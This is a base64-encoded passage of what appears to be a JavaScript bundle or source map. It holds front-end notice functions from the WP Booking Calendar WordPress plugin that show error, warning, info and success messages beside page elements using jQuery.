J1s/Jl0nICsgbmFtZSArICcoPShbXiYjXSopfCZ8I3wkKScgKSxcclxuXHRcdFx0cmVzdWx0cyA9IHJlZ2V4LmV4ZWMoIHVybCApO1xyXG5cdFx0aWYgKCAhcmVzdWx0cyApIHJldHVybiBudWxsO1xyXG5cdFx0aWYgKCAhcmVzdWx0c1sgMiBdICkgcmV0dXJuICcnO1xyXG5cdFx0cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCggcmVzdWx0c1sgMiBdLnJlcGxhY2UoIC9cXCsvZywgJyAnICkgKTtcclxuXHR9XHJcbiIsIi8qKlxyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICpcdGluY2x1ZGVzL19fanMvZnJvbnRfZW5kX21lc3NhZ2VzL3dwYmNfZmVfbWVzc2FnZXMuanNcclxuICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqL1xyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8vIFNob3cgTWVzc2FnZXMgYXQgRnJvbnQtRWRuIHNpZGVcclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG4vKipcclxuICogU2hvdyBtZXNzYWdlIGluIGNvbnRlbnRcclxuICpcclxuICogQHBhcmFtIG1lc3NhZ2VcdFx0XHRcdE1lc3NhZ2UgSFRNTFxyXG4gKiBAcGFyYW0gcGFyYW1zID0ge1xyXG4gKlx0XHRcdFx0XHRcdFx0XHQndHlwZScgICAgIDogJ3dhcm5pbmcnLFx0XHRcdFx0XHRcdFx0Ly8gJ2Vycm9yJyB8ICd3YXJuaW5nJyB8ICdpbmZvJyB8ICdzdWNjZXNzJ1xyXG4gKlx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJyA6IHtcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcV9ub2RlJyA6ICcnLFx0XHRcdFx0Ly8gYW55IGpRdWVyeSBub2RlIGRlZmluaXRpb25cclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aGVyZScgICA6ICdpbnNpZGUnXHRcdC8vICdpbnNpZGUnIHwgJ2JlZm9yZScgfCAnYWZ0ZXInIHwgJ3JpZ2h0JyB8ICdsZWZ0J1xyXG4gKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIH0sXHJcbiAqXHRcdFx0XHRcdFx0XHRcdCdpc19hcHBlbmQnOiB0cnVlLFx0XHRcdFx0XHRcdFx0XHQvLyBBcHBseSAgb25seSBpZiBcdCd3aGVyZScgICA6ICdpbnNpZGUnXHJcbiAqXHRcdFx0XHRcdFx0XHRcdCdzdHlsZScgICAgOiAndGV4dC1hbGlnbjpsZWZ0OycsXHRcdFx0XHQvLyBzdHlsZXMsIGlmIG5lZWRlZFxyXG4gKlx0XHRcdFx0XHRcdFx0ICAgICdjc3NfY2xhc3MnOiAnJyxcdFx0XHRcdFx0XHRcdFx0Ly8gRm9yIGV4YW1wbGUgY2FuICBiZTogJ3dwYmNfZmVfbWVzc2FnZV9hbHQnXHJcbiAqXHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgOiAwLFx0XHRcdFx0XHRcdFx0XHRcdC8vIGhvdyBtYW55IG1pY3Jvc2Vjb25kIHRvICBzaG93LCAgaWYgMCAgdGhlbiAgc2hvdyBmb3JldmVyXHJcbiAqXHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogZmFsc2VcdFx0XHRcdFx0Ly8gaWYgdHJ1ZSwgIHRoZW4gZG8gbm90IHNob3cgbWVzc2FnZSwgIGlmIHByZXZpb3MgbWVzc2FnZSB3YXMgbm90IGhpZGVkIChub3QgYXBwbHkgaWYgJ3doZXJlJyAgIDogJ2luc2lkZScgKVxyXG4gKlx0XHRcdFx0fTtcclxuICogRXhhbXBsZXM6XHJcbiAqIFx0XHRcdHZhciBodG1sX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSggJ1lvdSBjYW4gdGVzdCBkYXlzIHNlbGVjdGlvbiBpbiBjYWxlbmRhcicsIHt9ICk7XHJcbiAqXHJcbiAqXHRcdFx0dmFyIG5vdGljZV9tZXNzYWdlX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSggX3dwYmMuZ2V0X21lc3NhZ2UoICdtZXNzYWdlX2NoZWNrX3JlcXVpcmVkJyApLCB7ICd0eXBlJzogJ3dhcm5pbmcnLCAnZGVsYXknOiAxMDAwMCwgJ2lmX3Zpc2libGVfbm90X3Nob3cnOiB0cnVlLFxyXG4gKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAnc2hvd19oZXJlJzogeyd3aGVyZSc6ICdyaWdodCcsICdqcV9ub2RlJzogZWwsfSB9ICk7XHJcbiAqXHJcbiAqXHRcdFx0d3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSggcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlJyBdLnJlcGxhY2UoIC9cXG4vZywgXCI8YnIgLz5cIiApLFxyXG4gKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7ICAgJ3R5cGUnICAgICA6ICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiggcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlX3N0YXR1cycgXSApIClcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgID8gcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlX3N0YXR1cycgXSA6ICdpbmZvJyxcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJzogeydqcV9ub2RlJzoganFfbm9kZSwgJ3doZXJlJzogJ2FmdGVyJ30sXHJcbiAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2Nzc19jbGFzcyc6J3dwYmNfZmVfbWVzc2FnZV9hbHQnLFxyXG4gKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgOiAxMDAwMFxyXG4gKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcbiAqXHJcbiAqXHJcbiAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoIG1lc3NhZ2UsIHBhcmFtcyA9IHt9ICl7XHJcblxyXG5cdHZhciBwYXJhbXNfZGVmYXVsdCA9IHtcclxuXHRcdFx0XHRcdFx0XHRcdCd0eXBlJyAgICAgOiAnd2FybmluZycsXHRcdFx0XHRcdFx0XHQvLyAnZXJyb3InIHwgJ3dhcm5pbmcnIHwgJ2luZm8nIHwgJ3N1Y2Nlc3MnXHJcblx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJyA6IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnanFfbm9kZScgOiAnJyxcdFx0XHRcdC8vIGFueSBqUXVlcnkgbm9kZSBkZWZpbml0aW9uXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doZXJlJyAgIDogJ2luc2lkZSdcdFx0Ly8gJ2luc2lkZScgfCAnYmVmb3JlJyB8ICdhZnRlcicgfCAncmlnaHQnIHwgJ2xlZnQnXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIH0sXHJcblx0XHRcdFx0XHRcdFx0XHQnaXNfYXBwZW5kJzogdHJ1ZSxcdFx0XHRcdFx0XHRcdFx0Ly8gQXBwbHkgIG9ubHkgaWYgXHQnd2hlcmUnICAgOiAnaW5zaWRlJ1xyXG5cdFx0XHRcdFx0XHRcdFx0J3N0eWxlJyAgICA6ICd0ZXh0LWFsaWduOmxlZnQ7JyxcdFx0XHRcdC8vIHN0eWxlcywgaWYgbmVlZGVkXHJcblx0XHRcdFx0XHRcdFx0ICAgICdjc3NfY2xhc3MnOiAnJyxcdFx0XHRcdFx0XHRcdFx0Ly8gRm9yIGV4YW1wbGUgY2FuICBiZTogJ3dwYmNfZmVfbWVzc2FnZV9hbHQnXHJcblx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgIDogMCxcdFx0XHRcdFx0XHRcdFx0XHQvLyBob3cgbWFueSBtaWNyb3NlY29uZCB0byAgc2hvdywgIGlmIDAgIHRoZW4gIHNob3cgZm9yZXZlclxyXG5cdFx0XHRcdFx0XHRcdFx0J2lmX3Zpc2libGVfbm90X3Nob3cnOiBmYWxzZSxcdFx0XHRcdFx0Ly8gaWYgdHJ1ZSwgIHRoZW4gZG8gbm90IHNob3cgbWVzc2FnZSwgIGlmIHByZXZpb3MgbWVzc2FnZSB3YXMgbm90IGhpZGVkIChub3QgYXBwbHkgaWYgJ3doZXJlJyAgIDogJ2luc2lkZScgKVxyXG5cdFx0XHRcdFx0XHRcdFx0J2lzX3Njcm9sbCc6IHRydWVcdFx0XHRcdFx0XHRcdFx0Ly8gaXMgc2Nyb2xsICB0byAgdGhpcyBlbGVtZW50XHJcblx0XHRcdFx0XHRcdH07XHJcblx0Zm9yICggdmFyIHBfa2V5IGluIHBhcmFtcyApe1xyXG5cdFx0cGFyYW1zX2RlZmF1bHRbIHBfa2V5IF0gPSBwYXJhbXNbIHBfa2V5IF07XHJcblx0fVxyXG5cdHBhcmFtcyA9IHBhcmFtc19kZWZhdWx0O1xyXG5cclxuICAgIHZhciB1bmlxdWVfZGl2X2lkID0gbmV3IERhdGUoKTtcclxuICAgIHVuaXF1ZV9kaXZfaWQgPSAnd3BiY19ub3RpY2VfJyArIHVuaXF1ZV9kaXZfaWQuZ2V0VGltZSgpO1xyXG5cclxuXHRwYXJhbXNbJ2Nzc19jbGFzcyddICs9ICcgd3BiY19mZV9tZXNzYWdlJztcclxuXHRpZiAoIHBhcmFtc1sndHlwZSddID09ICdlcnJvcicgKXtcclxuXHRcdHBhcmFtc1snY3NzX2NsYXNzJ10gKz0gJyB3cGJjX2ZlX21lc3NhZ2VfZXJyb3InO1xyXG5cdFx0bWVzc2FnZSA9ICc8aSBjbGFzcz1cIm1lbnVfaWNvbiBpY29uLTF4IHdwYmNfaWNuX3JlcG9ydF9nbWFpbGVycm9ycmVkXCI+PC9pPicgKyBtZXNzYWdlO1xyXG5cdH1cclxuXHRpZiAoIHBhcmFtc1sndHlwZSddID09ICd3YXJuaW5nJyApe1xyXG5cdFx0cGFyYW1zWydjc3NfY2xhc3MnXSArPSAnIHdwYmNfZmVfbWVzc2FnZV93YXJuaW5nJztcclxuXHRcdG1lc3NhZ2UgPSAnPGkgY2xhc3M9XCJtZW51X2ljb24gaWNvbi0xeCB3cGJjX2ljbl93YXJuaW5nXCI+PC9pPicgKyBtZXNzYWdlO1xyXG5cdH1cclxuXHRpZiAoIHBhcmFtc1sndHlwZSddID09ICdpbmZvJyApe1xyXG5cdFx0cGFyYW1zWydjc3NfY2xhc3MnXSArPSAnIHdwYmNfZmVfbWVzc2FnZV9pbmZvJztcclxuXHR9XHJcblx0aWYgKCBwYXJhbXNbJ3R5cGUnXSA9PSAnc3VjY2VzcycgKXtcclxuXHRcdHBhcmFtc1snY3NzX2NsYXNzJ10gKz0gJyB3cGJjX2ZlX21lc3NhZ2Vfc3VjY2Vzcyc7XHJcblx0XHRtZXNzYWdlID0gJzxpIGNsYXNzPVwibWVudV9pY29uIGljb24tMXggd3BiY19pY25fZG9uZV9vdXRsaW5lXCI+PC9pPicgKyBtZXNzYWdlO1xyXG5cdH1cclxuXHJcblx0dmFyIHNjcm9sbF90b19lbGVtZW50ID0gJzxkaXYgaWQ9XCInICsgdW5pcXVlX2Rpdl9pZCArICdfc2Nyb2xsXCIgc3R5bGU9XCJkaXNwbGF5Om5vbmU7XCI+PC9kaXY+JztcclxuXHRtZXNzYWdlID0gJzxkaXYgaWQ9XCInICsgdW5pcXVlX2Rpdl9pZCArICdcIiBjbGFzcz1cIndwYmNfZnJvbnRfZW5kX19tZXNzYWdlICcgKyBwYXJhbXNbJ2Nzc19jbGFzcyddICsgJ1wiIHN0eWxlPVwiJyArIHBhcmFtc1sgJ3N0eWxlJyBdICsgJ1wiPicgKyBtZXNzYWdlICsgJzwvZGl2Pic7XHJcblxyXG5cclxuXHR2YXIganFfZWxfbWVzc2FnZSA9IGZhbHNlO1xyXG5cdHZhciBpc19zaG93X21lc3NhZ2UgPSB0cnVlO1xyXG5cclxuXHRpZiAoICdpbnNpZGUnID09PSBwYXJhbXNbICdzaG93X2hlcmUnIF1bICd3aGVyZScgXSApe1xyXG5cclxuXHRcdGlmICggcGFyYW1zWyAnaXNfYXBwZW5kJyBdICl7XHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmFwcGVuZCggc2Nyb2xsX3RvX2VsZW1lbnQgKTtcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYXBwZW5kKCBtZXNzYWdlICk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5odG1sKCBzY3JvbGxfdG9fZWxlbWVudCArIG1lc3NhZ2UgKTtcclxuXHRcdH1cclxuXHJcblx0fSBlbHNlIGlmICggJ2JlZm9yZScgPT09IHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ3doZXJlJyBdICl7XHJcblxyXG5cdFx0anFfZWxfbWVzc2FnZSA9IGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLnNpYmxpbmdzKCAnW2lkXj1cIndwYmNfbm90aWNlX1wiXScgKTtcclxuXHRcdGlmICggKHBhcmFtc1sgJ2lmX3Zpc2libGVfbm90X3Nob3cnIF0pICYmIChqcV9lbF9tZXNzYWdlLmlzKCAnOnZpc2libGUnICkpICl7XHJcblx0XHRcdGlzX3Nob3dfbWVzc2FnZSA9IGZhbHNlO1xyXG5cdFx0XHR1bmlxdWVfZGl2X2lkID0galF1ZXJ5KCBqcV9lbF9tZXNzYWdlLmdldCggMCApICkuYXR0ciggJ2lkJyApO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBpc19zaG93X21lc3NhZ2UgKXtcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYmVmb3JlKCBzY3JvbGxfdG9fZWxlbWVudCApO1xyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5iZWZvcmUoIG1lc3NhZ2UgKTtcclxuXHRcdH1cclxuXHJcblx0fSBlbHNlIGlmICggJ2FmdGVyJyA9PT0gcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnd2hlcmUnIF0gKXtcclxuXHJcblx0XHRqcV9lbF9tZXNzYWdlID0galF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkubmV4dEFsbCggJ1tpZF49XCJ3cGJjX25vdGljZV9cIl0nICk7XHJcblx0XHRpZiAoIChwYXJhbXNbICdpZl92aXNpYmxlX25vdF9zaG93JyBdKSAmJiAoanFfZWxfbWVzc2FnZS5pcyggJzp2aXNpYmxlJyApKSApe1xyXG5cdFx0XHRpc19zaG93X21lc3NhZ2UgPSBmYWxzZTtcclxuXHRcdFx0dW5pcXVlX2Rpdl9pZCA9IGpRdWVyeSgganFfZWxfbWVzc2FnZS5nZXQoIDAgKSApLmF0dHIoICdpZCcgKTtcclxuXHRcdH1cclxuXHRcdGlmICggaXNfc2hvd19tZXNzYWdlICl7XHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmJlZm9yZSggc2Nyb2xsX3RvX2VsZW1lbnQgKTtcdFx0Ly8gV2UgbmVlZCB0byAgc2V0ICBoZXJlIGJlZm9yZShmb3IgaGFuZHkgc2Nyb2xsKVxyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5hZnRlciggbWVzc2FnZSApO1xyXG5cdFx0fVxyXG5cclxuXHR9IGVsc2UgaWYgKCAncmlnaHQnID09PSBwYXJhbXNbICdzaG93X2hlcmUnIF1bICd3aGVyZScgXSApe1xyXG5cclxuXHRcdGpxX2VsX21lc3NhZ2UgPSBqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5uZXh0QWxsKCAnLndwYmNfZnJvbnRfZW5kX19tZXNzYWdlX2NvbnRhaW5lcl9yaWdodCcgKS5maW5kKCAnW2lkXj1cIndwYmNfbm90aWNlX1wiXScgKTtcclxuXHRcdGlmICggKHBhcmFtc1sgJ2lmX3Zpc2libGVfbm90X3Nob3cnIF0pICYmIChqcV9lbF9tZXNzYWdlLmlzKCAnOnZpc2libGUnICkpICl7XHJcblx0XHRcdGlzX3Nob3dfbWVzc2FnZSA9IGZhbHNlO1xyXG5cdFx0XHR1bmlxdWVfZGl2X2lkID0galF1ZXJ5KCBqcV9lbF9tZXNzYWdlLmdldCggMCApICkuYXR0ciggJ2lkJyApO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBpc19zaG93X21lc3NhZ2UgKXtcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYmVmb3JlKCBzY3JvbGxfdG9fZWxlbWVudCApO1x0XHQvLyBXZSBuZWVkIHRvICBzZXQgIGhlcmUgYmVmb3JlKGZvciBoYW5keSBzY3JvbGwpXHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmFmdGVyKCAnPGRpdiBjbGFzcz1cIndwYmNfZnJvbnRfZW5kX19tZXNzYWdlX2NvbnRhaW5lcl9yaWdodFwiPicgKyBtZXNzYWdlICsgJzwvZGl2PicgKTtcclxuXHRcdH1cclxuXHR9IGVsc2UgaWYgKCAnbGVmdCcgPT09IHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ3doZXJlJyBdICl7XHJcblxyXG5cdFx0anFfZWxfbWVzc2FnZSA9IGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLnNpYmxpbmdzKCAnLndwYmNfZnJvbnRfZW5kX19tZXNzYWdlX2NvbnRhaW5lcl9sZWZ0JyApLmZpbmQoICdbaWRePVwid3BiY19ub3RpY2VfXCJdJyApO1xyXG5cdFx0aWYgKCAocGFyYW1zWyAnaWZfdmlzaWJsZV9ub3Rfc2hvdycgXSkgJiYgKGpxX2VsX21lc3NhZ2UuaXMoICc6dmlzaWJsZScgKSkgKXtcclxuXHRcdFx0aXNfc2hvd19tZXNzYWdlID0gZmFsc2U7XHJcblx0XHRcdHVuaXF1ZV9kaXZfaWQgPSBqUXVlcnkoIGpxX2VsX21lc3NhZ2UuZ2V0KCAwICkgKS5hdHRyKCAnaWQnICk7XHJcblx0XHR9XHJcblx0XHRpZiAoIGlzX3Nob3dfbWVzc2FnZSApe1xyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5iZWZvcmUoIHNjcm9sbF90b19lbGVtZW50ICk7XHRcdC8vIFdlIG5lZWQgdG8gIHNldCAgaGVyZSBiZWZvcmUoZm9yIGhhbmR5IHNjcm9sbClcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYmVmb3JlKCAnPGRpdiBjbGFzcz1cIndwYmNfZnJvbnRfZW5kX19tZXNzYWdlX2NvbnRhaW5lcl9sZWZ0XCI+JyArIG1lc3NhZ2UgKyAnPC9kaXY+JyApO1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0aWYgKCAgICggaXNfc2hvd19tZXNzYWdlICkgICYmICAoIHBhcnNlSW50KCBwYXJhbXNbICdkZWxheScgXSApID4gMCApICAgKXtcclxuXHRcdHZhciBjbG9zZWRfdGltZXIgPSBzZXRUaW1lb3V0KCBmdW5jdGlvbiAoKXtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRqUXVlcnkoICcjJyArIHVuaXF1ZV9kaXZfaWQgKS5mYWRlT3V0KCAxNTAwICk7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0fSAsIHBhcnNlSW50KCBwYXJhbXNbICdkZWxheScgXSApICAgKTtcclxuXHJcblx0XHR2YXIgY2xvc2VkX3RpbWVyMiA9IHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpe1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0alF1ZXJ5KCAnIycgKyB1bmlxdWVfZGl2X2lkICkudHJpZ2dlciggJ2hpZGUnICk7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0fSwgKCBwYXJzZUludCggcGFyYW1zWyAnZGVsYXknIF0gKSArIDE1MDEgKSApO1xyXG5cdH1cclxuXHJcblx0Ly8gQ2hlY2sgIGlmIHNob3dlZCBtZXNzYWdlIGluIHNvbWUgaGlkZGVuIHBhcmVudCBzZWN0aW9uIGFuZCBzaG93IGl0LiBCdXQgaXQgbXVzdCAgYmUgbG93ZXIgdGhhbiAnLndwYmNfY29udGFpbmVyJ1xyXG5cdHZhciBwYXJlbnRfZWxzID0galF1ZXJ5KCAnIycgKyB1bmlxdWVfZGl2X2lkICkucGFyZW50cygpLm1hcCggZnVuY3Rpb24gKCl7XHJcblx0XHRpZiAoICghalF1ZXJ5KCB0aGlzICkuaXMoICd2aXNpYmxlJyApKSAmJiAoalF1ZXJ5KCAnLndwYmNfY29udGFpbmVyJyApLmhhcyggdGhpcyApKSApe1xyXG5cdFx0XHRqUXVlcnkoIHRoaXMgKS5zaG93KCk7XHJcblx0XHR9XHJcblx0fSApO1xyXG5cclxuXHRpZiAoIHBhcmFtc1sgJ2lzX3Njcm9sbCcgXSApe1xyXG5cdFx0d3BiY19kb19zY3JvbGwoICcjJyArIHVuaXF1ZV9kaXZfaWQgKyAnX3Njcm9sbCcgKTtcclxuXHR9XHJcblxyXG5cdHJldHVybiB1bmlxdWVfZGl2X2lkO1xyXG59XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBFcnJvciBtZXNzYWdlLiBcdFByZXNldCBvZiBwYXJhbWV0ZXJzIGZvciByZWFsIG1lc3NhZ2UgZnVuY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZWxcdFx0LSBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdCAqIEBwYXJhbSBtZXNzYWdlXHQtIE1lc3NhZ2UgSFRNTFxyXG5cdCAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlX19lcnJvcigganFfbm9kZSwgbWVzc2FnZSApe1xyXG5cclxuXHRcdHZhciBub3RpY2VfbWVzc2FnZV9pZCA9IHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0bWVzc2FnZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndHlwZScgICAgICAgICAgICAgICA6ICdlcnJvcicsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgICAgICAgICAgICA6IDEwMDAwLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2lmX3Zpc2libGVfbm90X3Nob3cnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZScgICAgICAgICAgOiB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hlcmUnICA6ICdyaWdodCcsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnanFfbm9kZSc6IGpxX25vZGVcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgICB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KTtcclxuXHRcdHJldHVybiBub3RpY2VfbWVzc2FnZV9pZDtcclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBFcnJvciBtZXNzYWdlIFVOREVSIGVsZW1lbnQuIFx0UHJlc2V0IG9mIHBhcmFtZXRlcnMgZm9yIHJlYWwgbWVzc2FnZSBmdW5jdGlvbi5cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBlbFx0XHQtIGFueSBqUXVlcnkgbm9kZSBkZWZpbml0aW9uXHJcblx0ICogQHBhcmFtIG1lc3NhZ2VcdC0gTWVzc2FnZSBIVE1MXHJcblx0ICogQHJldHVybnMgc3RyaW5nICAtIEhUTUwgSURcdFx0b3IgMCBpZiBub3Qgc2hvd2luZyBkdXJpbmcgdGhpcyB0aW1lLlxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2VfX2Vycm9yX3VuZGVyX2VsZW1lbnQoIGpxX25vZGUsIG1lc3NhZ2UsIG1lc3NhZ2VfZGVsYXkgKXtcclxuXHJcblx0XHRpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2YgKG1lc3NhZ2VfZGVsYXkpICl7XHJcblx0XHRcdG1lc3NhZ2VfZGVsYXkgPSAwXHJcblx0XHR9XHJcblxyXG5cdFx0dmFyIG5vdGljZV9tZXNzYWdlX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZShcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRtZXNzYWdlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0eXBlJyAgICAgICAgICAgICAgIDogJ2Vycm9yJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgICAgICAgICAgIDogbWVzc2FnZV9kZWxheSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzaG93X2hlcmUnICAgICAgICAgIDoge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doZXJlJyAgOiAnYWZ0ZXInLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxX25vZGUnOiBqcV9ub2RlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblx0XHRyZXR1cm4gbm90aWNlX21lc3NhZ2VfaWQ7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogRXJyb3IgbWVzc2FnZSBVTkRFUiBlbGVtZW50LiBcdFByZXNldCBvZiBwYXJhbWV0ZXJzIGZvciByZWFsIG1